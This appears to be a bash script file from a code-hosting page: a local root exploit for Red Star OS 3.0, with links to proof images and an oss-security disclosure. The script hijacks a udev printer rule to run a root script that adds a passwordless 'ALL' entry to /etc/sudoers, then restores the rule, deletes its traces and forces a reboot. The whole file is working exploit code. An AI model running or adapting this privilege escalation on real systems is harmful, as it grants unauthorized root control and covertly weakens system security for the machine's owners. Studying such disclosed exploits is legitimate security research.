19 lines
No EOL
718 B
Bash
Executable file
19 lines
No EOL
718 B
Bash
Executable file
#!/bin/bash -e
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## Alternative steps: https://pbs.twimg.com/media/B68inqBIQAA5sK6.png
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## Proof: https://github.com/HackerFantastic/Public/blob/master/exploits/redstar3.0-localroot.png
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cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
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echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
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cat <<EOF >/tmp/r00t.sh
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echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
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mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
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chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
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rm /tmp/r00t.sh
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EOF
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chmod +x /tmp/r00t.sh
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echo "sudo will be available after reboot"
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sleep 2
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reboot
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## Source: https://twitter.com/sfan55/status/550348619652796416 & http://www.openwall.com/lists/oss-security/2015/01/09/6 |